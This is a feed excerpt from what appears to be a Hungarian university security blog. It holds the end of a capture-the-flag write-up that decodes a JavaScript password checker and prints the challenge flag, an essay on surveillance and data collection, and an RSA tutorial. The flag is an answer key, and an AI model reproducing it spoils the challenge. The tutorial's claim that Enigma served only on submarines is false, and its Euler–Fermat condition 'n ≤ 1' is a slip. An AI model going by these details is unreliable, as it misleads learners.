<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>code.repeat(<span style="color:#ff0;font-weight:bold">21</span>).split(<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>).map((e) =&gt; numbers_array[numbers_str.indexOf(e)]).reduce((e, t) =&gt; e + t == <span style="color:#ff0;font-weight:bold">8</span>, <span style="color:#ff0;font-weight:bold">0</span>) == <span style="color:#ff0;font-weight:bold">63</span> 
</span></span></code></pre></div><p><code>code.count('3') == 3</code></p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>code.split(<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>).filter((e, t) =&gt; ~[<span style="color:#ff0;font-weight:bold">4</span>, <span style="color:#ff0;font-weight:bold">11</span>, <span style="color:#ff0;font-weight:bold">13</span>, <span style="color:#ff0;font-weight:bold">14</span>, <span style="color:#ff0;font-weight:bold">16</span>, <span style="color:#ff0;font-weight:bold">17</span>, <span style="color:#ff0;font-weight:bold">20</span>, <span style="color:#ff0;font-weight:bold">22</span>].indexOf(t)).map((e) =&gt; alphabet2[alphabet.indexOf(e)]).reverse().join(<span style="color:#0ff;font-weight:bold">&#34;-&#34;</span>) == <span style="color:#0ff;font-weight:bold">&#34;E-X-U-P-J-C-Q-S&#34;</span> 
</span></span></code></pre></div><p><code>code[4] == &quot;F&quot; and code[11] == &quot;D&quot; and code[13] == &quot;P&quot; and code[14] == &quot;W&quot; and code[16] == &quot;C&quot; and code[17] == &quot;H&quot; and code[20] == &quot;K&quot; code[22] == &quot;R&quot;</code></p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>indexedDB.cmp(<span style="color:#fff;font-weight:bold">Array</span>.from(<span style="color:#fff;font-weight:bold">new</span> Set(code.slice(<span style="color:#ff0;font-weight:bold">12</span>, <span style="color:#ff0;font-weight:bold">16</span>).split(<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>).reverse().filter((e, t) =&gt; ~[<span style="color:#ff0;font-weight:bold">0</span>, <span style="color:#ff0;font-weight:bold">3</span>].indexOf(t)))), [<span style="color:#0ff;font-weight:bold">&#34;_&#34;</span>]) == <span style="color:#ff0;font-weight:bold">0</span> 
</span></span></code></pre></div><p><code>code[12]  == &quot;_&quot; and code[15] == &quot;_&quot;</code></p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>code.split(<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>).reverse().filter((e, t) =&gt; ~[<span style="color:#ff0;font-weight:bold">18</span>, <span style="color:#ff0;font-weight:bold">13</span>, <span style="color:#ff0;font-weight:bold">4</span>, <span style="color:#ff0;font-weight:bold">16</span>, <span style="color:#ff0;font-weight:bold">15</span>].indexOf(t)).slice(<span style="color:#ff0;font-weight:bold">2</span>).concat(<span style="color:#fff;font-weight:bold">this</span>.slice(<span style="color:#ff0;font-weight:bold">0</span>, <span style="color:#ff0;font-weight:bold">2</span>)).reverse().join(<span style="color:#0ff;font-weight:bold">&#34;&#34;</span>) == <span style="color:#0ff;font-weight:bold">&#34;ncrnt&#34;</span> 
</span></span></code></pre></div><p><code>code[19]  == &quot;c&quot; and code[10] == &quot;n&quot; and code[8] == &quot;t&quot; and code[7] == &quot;n&quot; and code[5] == &quot;r&quot;</code></p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>code.charAt(<span style="color:#ff0;font-weight:bold">6</span>) == <span style="color:#0ff;font-weight:bold">&#34;0&#34;</span> 
</span></span></code></pre></div><p><code>code[6] == &quot;0&quot;</code></p>
<p>Végül mindet megfejtve fény derül a teljes flagre:
<code>code == &quot;HTB{Fr0nt3nD_PW_CH3cK3R}&quot;</code></p>
]]></content>
        </item>
        
        <item>
            <title>Adat és a hatalom</title>
            <link>https://securiteam.kszk.bme.hu/hu/posts/2024/08/adat-%C3%A9s-a-hatalom/</link>
            <pubDate>Thu, 15 Aug 2024 16:15:29 +0200</pubDate>
            
            <guid>https://securiteam.kszk.bme.hu/hu/posts/2024/08/adat-%C3%A9s-a-hatalom/</guid>
            <description>A biztonság és a kényelem oltárán feláldoztuk a magánéletünket, olyan szolgáltatásokért amikre nem is biztos, hogy szükségünk van. Régen magánnyomozót kellett felbérelni, hogy valakiről megtudjuk, hogy kivel beszélget, hova szokott járni, mik a szokásai. Most már ezüst tálcán kínáljuk ezeket az információkat a zsebünkben lévő telefonunkkal. Bruce Schneier - Data and Goliath című könyve elgondolkoztatott ebben a témában és ezeknek a gondolatoknak adok formát ebben a cikkben.</description>
            <content type="html"><![CDATA[<p><img alt="glob_surv" src="/global_surv.png"></p>
<h2 id="az-alku">Az alku</h2>
<p>Az ipari forradalomban a szén-dioxid volt a melléktermék, melyet a gépek füstöltek működésük közben. Korunk eme hasonló mellékterméke az adat, melyet a számítógépek természetüktől fogva fogyasztanak és készítenek (input/output). Az adat szinte teljesen behálózta életünket, szinte bármit teszünk, nagy esély van rá, hogy vagy lokálisan, vagy egy 1000 km-re lévő komplexumban, az feldolgozva van, vagy eltárolva 0-sok és 1-sek formájában.</p>
<h3 id="tudjuk-mit-csinálsz-tudjuk-mire-gondolsz">Tudjuk mit csinálsz. Tudjuk mire gondolsz.</h3>
<p>A telefonunkkal bármikor, szinte bárhol (ahol van lefedettség), bárkit felhívhatunk. Az, hogy ez létrejött ezer meg ezer ember feszített munkájának, kutatásának és küzdelmének a sikere, és az biztos, hogy az emberiség büszke lehet rá. Azonban működéséhez állandóan, még akkor is ha éppen nem használják, közvetítenie kell minden telefonnak a helyzetét, hogy a megfelelő adótoronyhoz kapcsolja azt.</p>
<p>A helymeghatározásra van egy pontosabb technológia is, amely valószínűleg a te telefonodon is be van kapcsolva, a GPS. Csomó alkalmazás használja ezt, mint például a Google Maps, az Uber vagy az Angry Birds. Valamelyik ténylegesen nyújt mellé szolgáltatást is, van amelyik csak értékesíti a háttérben azt. Az Angry Birds például akkor is pénzt csinál a helymeghatározásból, amikor éppen nem is játszol. Az állandó helymeghatározásból olyan profilt lehet alkotni egy emberről, ami sokakat meglepne szerintem.</p>
<p>Látszik az, hogy eszközünk mely másik eszközök közelében van, ebből lehet következtetni kik az ismerőseink, kollégáink vagy családtagjaink, attól függően, hogy éppen hol vagyunk, ami ugyebár ismert. Tehát szociális, ismerettségi háló már pipa. Rendszeresen, mondjuk vasárnaponként templom közelében vagyunk? Biztosan vallásosak vagyunk. Ott volt a telefonunk helyzete a tegnapi tüntetés helyszínén? Politikai, ideológiai orientáltság pipa. Napi rutin, mennyi időt töltünk az étteremben vacsorakor, hol lakunk, hol dolgozunk, ezek mind elérhetőek csak a helyzetünk alapján, és még sokkal több.</p>
<p>A helymeghatározás csak egy a sok közül. Manapság már szinte minden tevékenységünk során így vagy úgy de számítógépeket használunk, azaz adatot termelünk. Okos hűtő amely figyeli mikor jár le az étel. Okos órák amely számolja mikor alszol, mozogsz, égetsz kalóriát, amelyekből akár kiszámolja mikor szexelsz. Ezeknek mind megvan az a potenciálja, hogy a hatékonyságot, a kényelmet és a jobb életszínvonalat eredményezzen, de valahogy a háttérben mégsem ezek a mozgatóerők. Ott vannak az autók melyek fekete doboza a szenzorokon keresztül rögzíti milyen gyorsan mentünk, és az újabb autókon már azt is, hogy merre. Az utcákon a kamerák szinte már minden lépésünket lefedik, és párosítva arcfelismerő algoritmusokkal, tökéletesen lehet minket követni, egy képernyő mögül, egy székben hátradőlve. Mikrofonok segítségével pedig már hangfelvételt is kapunk. Tudtad, hogy csupán a billentyűzeted gépelésének a hangjából, egy megfelelő tanuló algoritmus, 97%-os pontossággal meg tudja mondani mit gépeltél, például a jelszavadat, amit az előbb gépeltél be valahova? Szemlélet váltásra van szükség és tisztázni kell az emberekkel, hogy mikor, mennyit adnak föl a magánéletükből és a szabadságukból. Az okos hűtő az nem egy hűtő amelyben van egy számítógép, hanem egy számítógép amely hűteni képes. Az autó az nem egy autó amelyen van egy fedélzeti számítógép, hanem egy számítógép amelynek 4 kereke van.</p>
<h3 id="a-jó-zsaru">A jó zsaru</h3>
<p>Miután már tömegesen mindenkiről van adat, csoportokat lehet alkotni az emberekből, különböző szempontok alapján. Mondjuk kiváncsi vagyok ki az aki egy bizonyos témában érdekelt, vagy ki az akinek egy bizonyos politikai hitvallása van. Ezeket a vállalatok felhasználják potenciális vásárlók felkutatásában, a rendőrség és terrorelhárítás meg mondjuk potenciális bűnözők azonosításában. Az NSA például kiemeli a tömegből azon egyéneket akik ki akarnak bújni a megfigyelés alól, például olyan cikkeket olvasnak amik éppenséggel ezt taglalják. Te is éppen egy ilyen cikket olvasol :D. Azok az emberek akikről nem tudunk semmit, attól félünk mert veszélyesek lehetnek és mi erről nem tudunk.</p>
<p>Egyéneket is könnyen meg lehet találni az adat tengerben, pélául ha tudod hogy az akit keresel egy adott buszmegállóban volt, majd egy adott étteremben vacsorázott egy ismert időpontban, akkor a sok telefon helyzetén futtatott keresésben előbukkan az a telefon amelyre ezek mind teljesülnek. Csoportosulásokat is fel lehet térképezni, például ha Bob és Alice egy étteremben voltak, majd egyszerre voltak ugyanabban a kávézóban később pedig a reptéren, akkor a rendszer Bob-ot és Alice-t társnak fogja &lsquo;flagelni&rsquo;. Ez egy nyomozásban komoly segítség lehet. Gyanús viselkedésre is lehet következtetni bizonyos adatokból. Például a mobil szolgáltatók adatbázisán keresztül futva kereshetünk olyan telefonokat amelyeket rövid ideig használtak, majd soha nem kapcsolták be őket újra. Ezek a &ldquo;burner&rdquo; telefonok, amiket azok használják, akik kerülni szeretnék a figyelmet. Továbbá gyűjtik azt is, hogy meddig, mikor és hol volt kikapcsolva a telefonod, és voltak-e mások is többen akik kikapcsolták a telefonjukat a közelben. Ergo titkos gyülekezeteket keresnek.</p>
<p>Ezek olyan dolgok amelyeket a rendfentartó szervek fel is használnak a bűnözés és a terrorizmus ellen, és ez helyes is. Minden tudásunkat fel kell használnunk az állampolgárok és családunk védelmében. Csupán abban látom a problémát, hogy nincsenek fékek és ellensúlyok, legalábbis a Snowden által szivárogtatott NSA dokumentumok alapján nem úgy tűnik. A botrány során fényderült arra, hogy jogi kiskapukat, és önkényes törvényhozást kihasználva, azt az amerikai családot tudta lehallgatni az NSA akit csak szeretett volna. Illetve az is helytelen, mikor a félelemkeltés eszközével élnek ezek a bizonyos szervek, hogy a szavazók érzelmeire hassanak, miközben takarva azt, hogy szép lassan felszalámizzák az emberek maradék privát életét. <em>&ldquo;Add át magad nekünk, és felmentük téged a félelmeid alól&rdquo;</em>, <em>&ldquo;Ha nem vagy bűnös, akkor minek van titkolni valód?&rdquo;</em>. Körülbelül ezek lehetnek az alappillérei ezen szerveknek. Ne felejtsük el, hogy az &lsquo;56-os forradalmárokat is terrorizmus vádjával üldözték.</p>
<h3 id="megfigyelés-egy-internet-csatolt-világban">Megfigyelés egy internet csatolt világban</h3>
<p>Ha felcsatlakozunk az internetre akkor ez az adatmennyiség megtöbbszöröződik. A böngészők tisztában vannak melyik oldalt látogatsz, mennyi ideig. A böngésződdel őszintébb vagy mint bárki mással, olyan mint egy napló. valószínűleg jobban ismer a böngésződ téged mint te saját magadat, hiszen a böngésző meghatározatlan ideig képes eltárolni az információt, míg te könnyen elfelejted ugyanezeket a dolgokat. Tisztában van azzal, hogy ezt olvasva unatkozol-e vagy éppenséggel felcsigáz a téma. Ez alapján következtetéseket von le, profiloz téged. A cél az, hogy megjósolja az embereknél a költségesebb vásárlásokat, eseményeket, mint például a házasság, gyerekvállalás. Valós történet, hogy az USA-ban egy apuka felháborodott a Target cég célzott reklámain, miután a kislányának babakocsikat, és babás dolgokat dobott föl. Végül mint kiderült valóban terhes volt a lánya. Előbb tudják hogy nyaralni szeretnél, vagy hogy meleg vagy mint, hogy egyáltalán a tudatod felszínére tőrnének ezek a gondolatok. A &lsquo;cookiek&rsquo; segítségével mindenki egyénileg megkülönböztethető, így a böngésződ kényelmessé tudja tenni a használatát. Például tudja így hogy te voltál az akinek X és Y volt a kosarában a webshopon, így visszatudja ezt állítani miután újra megnyitottad az oldalt. Ugyanakkor be is jelentkeztet téged az oldalakra, így nem kell megint beírnod a jelszavadat például. A cookie viszont lehetővé teszi, hogy egyénileg hozzád csatolják a reklámokat. Ebben hatalmas pénzek vannak és pontosan ezért is van az, hogy akár több száz cég is gyűjt rólad adatot és cookie-t. Nem Nagy Testvér figyel téged hanem sokkal inkább sok Kis Testvér, akik meghalnak a kiváncsiságtól, hogy vajon mi érdekel téged. Persze ez olykor hasznunkra válik, hiszen tényleg azokra vágyunk amiket az algoritmusok rólunk kitalálnak, de ez könnyen oda fajúlhat hogy a döntéseink állandóan befolyásolva lesznek a cégek vagy kormányok érdekeit szolgálva, legyen az túlzott fogyasztás vagy poltikai manipuláció.</p>
<p>Jelenleg a &lsquo;Big Data&rsquo; korát éljük. A számítástechnika fejlődése azt eredményezte, hogy az adat tárolása, illetve feldolgozása sokkal olcsóbban és hatékonyabban kivitelezhető. Ennek a következménye az, hogy jelenleg a cégek, adat brókerek és kormányok hozzáállása az adathoz: &ldquo;Gyüjtsünk mindent, majd csak jó lesz valamire később&rdquo;. Ezekből a nagy adathalmazokból bányásszák ki a következtetéseket rólunk, amelyeket felhasználni ilyen-olyan célokra. Van olyan eset is mikor az adat használhatatlan <strong>még</strong>. Ez lehet azért mert titkosítva van, vagy azért mert még nincsen eléggé kifinomult módszerünk az elemzésére. De ki tudja, hogy 10 év múlva nem lesz erre megoldás, vagy éppenséggel egy módszer a titkosítás feltörésére. Ugyanúgy tud kompromitáló lenni egy elévült adat is. Erre példa a Tour de France dopping botránya is, ahol évekkel ezelőtt gyűjtött vérmintákban tudták kimutatni új technológiával a versenyzőknél a teljesítményfokozó szereket. Az adatok tárolásának az ideje az csak is elérhető tárhely függvényében dől el, függetlenül a magánélet tiszteletben tartásától. Bizonyos esetekben meghatározatlan ideig is eltárolnak emberekről információkat. Ha befolyásosnak, értelmiséginek esetleg veszélyesnek vagy ítélve, akkor szinte biztos, hogy kiemelt figyelmet kapsz, hátha később jól jön a történelmed.</p>
<p>Annyi csúnya dolgot mondtam ezekről a szolgáltatásokról, amik gyűjtik rólunk az adatokat, hogy bizonyára felmerült benned is a kérdés, hogy akkor miért használják olyan sokan őket? Sok pszichológia van a háttérben, de a két legfontosabb erő az az, hogy ezek a szolgáltatások <strong>ingyenesek</strong> és <strong>kényelmesek</strong>. Több kutatás is kimutatta, hogy ha valami ingyenes, akkor az ember sokkal hajlamosabb az irracionális gondolkodásra és megfontolatlan, vagy elhamarkodott döntésekre. Senki ne értsen félre, nem abban találom a problémát, hogy valami ingyenes ÉS ráadásul még kényelmes is. Ezek tök jó dolgok. Csupán szerintem az emberekkel nem tudatosítják eléggé azt, hogy mekkora árat viszetnek és mekkora mennyiségben mondanak le a szabadságukról és magánéletükről, csak azért, hogy vicces macskás videókat nézegessenek.</p>
<h2 id="amikor-a-tv-visszanéz">Amikor a TV visszanéz</h2>
]]></content>
        </item>
        
        <item>
            <title>Kriptográfia alapok - Nyílvános kulcsú titkosítás</title>
            <link>https://securiteam.kszk.bme.hu/hu/posts/2024/07/kriptogr%C3%A1fia-alapok-ny%C3%ADlv%C3%A1nos-kulcs%C3%BA-titkos%C3%ADt%C3%A1s/</link>
            <pubDate>Tue, 30 Jul 2024 14:42:35 +0200</pubDate>
            
            <guid>https://securiteam.kszk.bme.hu/hu/posts/2024/07/kriptogr%C3%A1fia-alapok-ny%C3%ADlv%C3%A1nos-kulcs%C3%BA-titkos%C3%ADt%C3%A1s/</guid>
            <description>A cikk végére példákon keresztül világossá válik számodra, hogy miként tudunk magabiztosan titkos információkat megosztani egymással, főképp az interneten, anélkül, hogy megosztottunk volna egymással, bármiféle titkos és privát kódot, kulcsot vagy jelszót. Ezen túl még sokkal több&amp;hellip;</description>
            <content type="html"><![CDATA[<h2 id="szimmetrikus-kriptográfia">Szimmetrikus kriptográfia</h2>
<p>A klasszikus titkosítási módszerek, amelyeket használtak egészen mostanáig arra alapoznak, hogy a titkosításhoz (encryption) és a feloldáshoz (decryption) is ugyanaz a kulcs használatos. Ez azt igényli, hogy a kulcsot valami titkos közegben kellene átadnunk a második félnek anélkül, hogy egy harmadik fél ne szerezzen róla tudomást, hiszen akkor az összes titkosított üzenetünket olvasni tudná. Ez kicsit ilyen &ldquo;tyúk vagy a tojás&rdquo; probléma, hiszen pont arra akarnánk használni a kulcsot, hogy megteremtsük ezt a titkosított közeget. Illetve ekkor, teljesen meg kell bíznunk a második félben, hiszen miután megosztottuk vele a kulcsunkat, az teljesen az ő döntése lesz, hogy azt nem e adja tovább másnak.</p>
<p>Tegyük fel, hogy a bankba besétálunk és a fiókunkhoz elkéri a recepciós a jelszót. Ha egy kicsit is korrumpálható a recepciós, akkor a fiókunk jelszava könnyen nem kívánatos emberek kezébe kerülhet. Ehhez a problémához még visszatérek, addig is gondolkozz egy megoldáson.</p>
<blockquote>
<p>Az Enigma is szimmetrikus kriptográfia szerint működött és mint titkosítás a korában egyedülálló és példátlan volt. Komoly szürkeállománynak kellett összeülnie a Szövetségesek oldalán, hogy feltörjék. - Sokan úgy tudják, többek között a <a href="https://www.imdb.com/title/tt2084970/">Kódjátszma</a> film miatt, hogy az angolok törték fel először, de a valóságban a lengyelek már 1932-ben tudták olvasni a titkos üzeneteket, 1939-ben adták át eredményeiket a francia és angol kódfejtőknek. Ettől függetlenül érdemes megnézni, Alan Turing és csapatának illetve automatájának (kezdetleges számítógép) jelentős szerepe volt a későbbi, fejlettebb modellek üzeneteinek feltörésében. - Szó sincs arról, hogy a titkosításban találtak hibát. Mint mindig az informatikában, a gyenge láncszem és a legnagyobb sérülékenység itt is az ember volt. A katonák nem minden nap cseréltek kódot, ahogy azt kellett volna, illetve az üzenetekben lévő ismétlődő kifejezések mint például a &ldquo;WETTERVORHERSAGE&rdquo; (időjárás előrejelzés) vagy az &ldquo;EINS&rdquo; (egy) egyszerűsítették a kódfejtő dolgát. Érdekesség, hogy 1982-ben is használták még az Enigmát még pedig az argentínok, Fakland-szigeteki háborúban. Nagyot néztek mikor az angolok minden lépésüket tudták előre. Nem lehet hibáztatni az argentínokat, hiszen az Egyesült Királyság sose hozta nyílvánosságra az eredményeiket az Enigma feltörésében, így még mindig az volt a köztudat, hogy az Enigma titkos.</p>
</blockquote>
<p>Csak azért hoztam föl az Enigmát, mert egy jó példa arra, hogy a szimmetrikus titkosítás önmagában miért nem elég. Gondolkoztál már azon, hogy az Enigmát miért csak tengeralatjárókon használták? Azért mert a tengeralatjáró ha megsemmisül, akkor az Enigmát is viszi magával a tengerfenékre, így nem lehet a gépet, azaz a titkosítást visszafejteni illetve a kódot ellopni. Ezért nem használták szárazföldi csapatoknál. Tehát nem volt skálázható, hiszen több ember esetén egyre nagyobb lett volna az esélye a kód kitudódásának. Az internet térnyerésével, és a felhasználók exponenciális növekedésével pedig a szükség egy skálázható titkosítási szabványra nőttön-nőtt.</p>
<h2 id="aszimmetrikus-kriptográfia">Aszimmetrikus kriptográfia</h2>
<p>Az aszimmetrikus kriptográfiában, avagy nyílvános kulcsú titkosításnál kulcs párokról beszélünk, ahol van egy <strong>privát kulcs</strong> és egy <strong>publikus kulcs</strong>. Retrospektíven, úgy a székben hátradőlve nézve a koncepció egyszerűsítve az alábbi: páronként a titkosításhoz szükséges kulcs publikus, a feloldáshoz a kulcs pedig titkos, és a publikus kulcsból visszafejteni a titkos kulcsot algoritmusokkal annyi időbe telne, hogy nem csak a kávénk hűlne ki, de még a Naprendszer is. Az aszimmetrikus jelző innen jön, hogy a titkosítás és dekódolás nem ugyanúgy megy.</p>
<p>Egy információ csere aszimmetrikus titkosítást használva Bob és Alice között az alábbiak szerint zajlana le az ábrát követve:</p>
<ol>
<li>Bob letitkosítja az üzenetét Alice publikus kulcsával, majd elküldi Alicenak az eredményt.</li>
<li>Alice megkapja a titkosított üzenetet, majd a titkos kulcsával feloldja azt.</li>
</ol>
<p><img alt="pkc" src="/pkc1.png"></p>
<p>Az egész rendszer müködése azon alapszik, hogy a titkos kulcsok titkosak maradnak és senkivel nem osztjuk meg azt, mivel annak beláthatatlan következményei lehetnek ránk nézve.</p>
<p>Most pedig konkrét megvalósítások.</p>
<h3 id="rsa-rivestshamiradleman">RSA (Rivest–Shamir–Adleman)</h3>
<p>Az RSA az egy kriptográfiában nevezetes algortimus amely nyílvános kulcsú titkosítást valósít meg, melyet 1977-ben vázolt a nevében is szereplő 3 dzsentlmen.</p>
<h4 id="definíciók">Definíciók</h4>
$$n,e,p,q,d \in N, (e,\phi(n))=1: n=p * q$$<p>Az alap ötlet az RSA mögött, hogy adott \(n, e\) és \(d\) egész számnál, az \(x \in N: 0 \leq x &lt; n\) szám esetén az \((x^e)^d\) és \(x\) azonos maradékot adnak \(n\)-nel osztva, azaz kongruensek moduló n:</p>
<p>\[(x^e)^d \equiv x \pmod n\]</p>
<p>Ugyanakkor ha csak az \(n\) és \(e\) szám adott, a \(d\) szám kiszámítása borzasztóan nehéz. Most nem úgy értem a nehezet, mint hogy nehéz reggel kikelni az ágyból, hanem úgy hogy ha világ összes számítógépe is rendelkezésünkre állna akkor is még a temetésünkön számolnának.</p>
<p>Az \(n\) és \(e\) természetes számok alkotják a publikus kulcsot, melyben az \(n\) a moduló amely \(p\) és \(q\) prímszám szorzatából áll, és az \(e\) pedig a titkosításhoz használt (&ldquo;e&rdquo; for encryption) hatványkitevő mely relatív prím \(\phi(n)\) számmal.</p>
<blockquote>
<p>a \(\phi(n)\) függvény az az Euler-féle phí függvény mely megadja, hogy \(x \in N: 1 \leq x \leq n\) számok között mennyi n-hez relatív prím van.</p>
</blockquote>
<p>A \(p\) és \(q\) alkotják a titkos kulcsot, melyekbők kiszámítható a \(d\) (&ldquo;d&rdquo; for decryption) hatványkitevő, ami a dekódoláshoz fog kelleni. Igazából a \(p\) és \(q\) eldobható miután \(d\) ki lett számítva.</p>
<p>A titkosítás folyamata:</p>
<h4 id="kulcs-generálás">Kulcs generálás</h4>
<ol>
<li>
<p>Generáljunk 2 nagy \(p\) és \(q\) prímszámot. A lényeg az lesz, hogy az \(n\) számból minél nehezebb legyen prím faktorizációval megkapni a \(p\) és \(q\) számot. Ehhez a \(p\) és \(q\) is legyen lehetőleg teljesen véletlenszerű, kellően nagy és kettőjük különbsége is legyen nagy. Hatékony prím generálásra a prím tesztelése véletlenszámokra. Fontos hogy a véletlenszám generátorunk legyen minél &ldquo;véletlenebb&rdquo;, azaz entrópiája minél nagyobb, hiszen számítógépen csak pszeudo véletlent ismerünk hiszen a számítógép önmagában determinisztikus. Ezzel egy külön ágazat foglalkozik a matematikában, csak érdekességnek hoztam föl.</p>
</li>
<li>
<p>Számoljuk ki \(n=p * q\). Biztonságosnak ítélt kulcs azaz \(n\) hossz az 2048 bit, ami kb 617 számjegynek felel meg a tízes számrendszerben azaz értéke saccperkb \(10^{616}\). Most álljunk meg és gondolkozzunk el ezen nagyságon egy picit. Ugyebár úgy tudnánk támadóként feltörni a titkosítást, ha \(n\)-ből meg tudnánk kapni \(p\)-t és \(q\)-t. Ez kicsit túl lő az üzenet feltörésén, hiszen ezután az összes üzenetet fel tudnánk törni. Ez a prím faktorizáció problémája melyre mai napig nem ismert polinomiális komplexitású algoritmus, ugyanakkor nincsen az se bizonyítva, hogy nem létezik ilyen, bár ez a sejtés. Ha esetleg találnál ilyet, akkor könnyűszerrel világuralomra törhetsz, hiszen a banki tranzakciók, kriptovaluták, államtitkok és nem utolsósoron a digitális aláírások titkosítása is ezt használja. Például a szofterfrissítések is digitális aláírással ellenőrzik, hogy a hivatalos szerverről jött a frissités, de ha feltörnéd ezt, bárkinek kiadhatnád magad, ezáltal például az összes Windows gép felett átvehetnéd az irányítást egyetlen Windows frissítéssel. Érdekes, hogy az egész világrendünk, a civilizációnk egy matematikai sejtésre van bízva. Csak hogy elképzelhesd mennyi időbe is telne ha naívan elkezdenénk próbálgatni brute-force módszerrel a prímeket 2-től kezdve \(\sqrt n\)-ig: kb. \(10^{80}\) proton van a megfigyelhető világegyetemen, tegyük fel hogy ez mind egy olyan számításiegység ami 4 GHz-en müködik azaz az egyszerűség kedvéért másodpercenként \(4 * 10^9\) prím tesztelésére képes, tehát másodpercenként \(4 * 10^{89}\) szám tesztelésére vagyunk képesek összesen. Ezek szerint \(\frac{\sqrt{10^{616}}}{4 * 10^{89}} \approx 10^{218} \) másodpercre lenne szükségünk. Az univerzum 13,7 milliárd éves azaz kb \(4,3 * 10^{17}\) másodperc éves. Remélem ez a kis gondolatkísérlet kontextusba helyezte a nagyságokat.</p>
</li>
<li>
<p>Válasszunk ki egy természetes számot az \(e\) számára úgy, hogy \((e,\phi(n))=1\), azaz relatív prímek. Itt a hossz nem annyira lényeges mint az \(n\) esetén, tipikus érték az \(e\)-nek a \(65537\).</p>
</li>
<li>
<p>Számoljuk ki a \(d\) értékét a \(p\) és \(q\) számok segítségével. Hogy hogyan azt a helyesség bizonyításánál méltatom bemutatni.</p>
</li>
</ol>
<p>Tehát ezek után van egy publikus kódoló függvényünk</p>
<p>\[C: x \mapsto x^e \pmod n\]</p>
<p>ahol \(x:=\) a plaintext üzenetünk azaz a titkosítandó adat</p>
<p>és van egy titkos dekódoló függvényünk</p>
<p>\[D: y \mapsto y^d \pmod n\]</p>
<p>ahol teljesül az hogy \(D(C(x))=x\)</p>
<p>Aki eddig eljutott és ismeri a hatványazonosságokat az biztos elgondolkozott rajta, hogy a \(d\) és \(e\) felcserélhető-e. Bizony felcserélhetőek hiszen \((x^e)^d = (x^d)^e\). Azt nem mondanám, hogy használható lenne a titkos kulcs titkosításra, mivel nem lesz tőle titkos, hiszen bárki feloldhatja a hozzátartozó publikus kulccsal. Ezt a kommutatívitást is ki tudjuk használni a gyakorlatban a digitális aláírásnál és azonosításnál, de erről többet kicsit lejebb :).</p>
<h4 id="kulcs-megosztása">Kulcs megosztása</h4>
<p>Bob és Alice az RSA-t akarják használni tikosításra beszélgetés közben, mert biztonságos. Ekkor ha Bob üzenetet szeretne küldeni Alicenak, akkor elkéri Alice publikus kulcsát \((n,e)\), majd ezt egy csatornán (nem muszáj biztonságosnak lennie) meg is kapja. Alice a titkos kulcsát \((d)\) soha nem adja ki, azt a dekódolásra használja saját magánál.</p>
<h4 id="titkosítás">Titkosítás</h4>
<p>Bob miután megkapta Alice publikus kulcsát, azt felhasználva titkosítja az \(x\) üzenetet és megkapja titkosított szöveget \(c\)-t.</p>
<p>\[c \equiv x^e \pmod n\]</p>
<p>Minden józan, már tapasztaltabb emberben, fel kell merülnie annak az ördögi kérdésnek, hogy ez a lépés vajon polinomiális-e mert ha nem akkor semmi értelme nincsen az egésznek. Szerencsére a moduláris hatványozás megoldható polinomiálisan az ismételt négyzetre emelés módszerével, annak ellenére, hogy a hatványozás önmagában nem lenne polinomiálisan kivitelezhető.</p>
<h4 id="feloldás">Feloldás</h4>
<p>Alice ezután megkapja a titkosított üzenetet és a titkos kulcs segítségével feloldja azt.</p>
<p>\[c^d \equiv (x^e)^d \equiv x \pmod n\]</p>
<h4 id="helyesség-bizonyítása">Helyesség bizonyítása</h4>
<p>Eddig valjuk be őszintén a levegőbe beszéltem, semmi se lett bizonytva, már pedig ez így nem járja.</p>
<p>Cél hogy bebizonyítsuk, hogy \[\forall n \in N, n=p * q, \forall e \in N, (e,\phi(n))=1\] esetén \(\exists d\) ahol igaz az, hogy \((x^e)^d \equiv x \pmod n\) ahol \(x\) tetszőleges üzenet.</p>
<p>Ehhez felhasználjuk az Euler-Fermat tételt miszerint</p>
<p>ha \(n \leq 1\) és \((x,n)=1\) \(\Rightarrow x^{\phi(n)} \equiv 1 \pmod n\)</p>
<p>Emeljük a konkruenciát \(k \in N\)-ra és szorozzuk mindkét oldalát \(x\)-szel. Ezek ekvivalens lépések, ekkor</p>
<p>\[x^{k\phi(n) + 1} \equiv x \pmod n\]</p>
<p>tehát ha a hatványkitevő \(ed = k\phi(n) + 1\) akkor igaz a kongruencia.</p>
<p>Ebből a megállapításból az alábbi kongruencia következik</p>
<p>\[ed \equiv 1 \pmod {\phi(n)}\]</p>
<p>hiszen ez az előbbi állítással ekvivalens.</p>
<p>Ez pedig egy lineáris kongruencia a \(d\) ismeretlenre, hiszen \(e\) értéke adott és \(\phi(n) = (p-1)(q-1)\) itt nem tárgyalt azonosságok alapján. Ennek a lin. kon. biztosan \(\exists\) megoldása, mivel \((e,\phi(n))=1\). Ezt a megoldást hatékonyan meg is tudjuk találni az Euklideszi algortimussal.</p>
<p>Ez nem a teljes bizonyítás hiszen nem fedtük le azt az esetet amikor is \((x,n) \neq 1\). Ennek a gyakorlati valószínüsége ámbár nagyon kevés hiszen ez azt jelenti, hogy \(p | x\) vagy \(q | x\), de mégis kell vele foglalkozni, hiszen matematikusok vagyunk :D.</p>
<p>Ha \(p | x\) és \(q | x\) is akkor \(pq | x\) azaz \(n | x\) ekkor \(x^{k\phi(n) + 1} \equiv x \pmod n\) természetes hogy létezik megoldás hiszen \(x \equiv 0 \pmod n\) és \(x^{k\phi(n) + 1} \equiv 0 \pmod n\) hiszen ha \(n | x\) akkor \(x\) többszörösei is oszthatóak \(n\)-nel.</p>
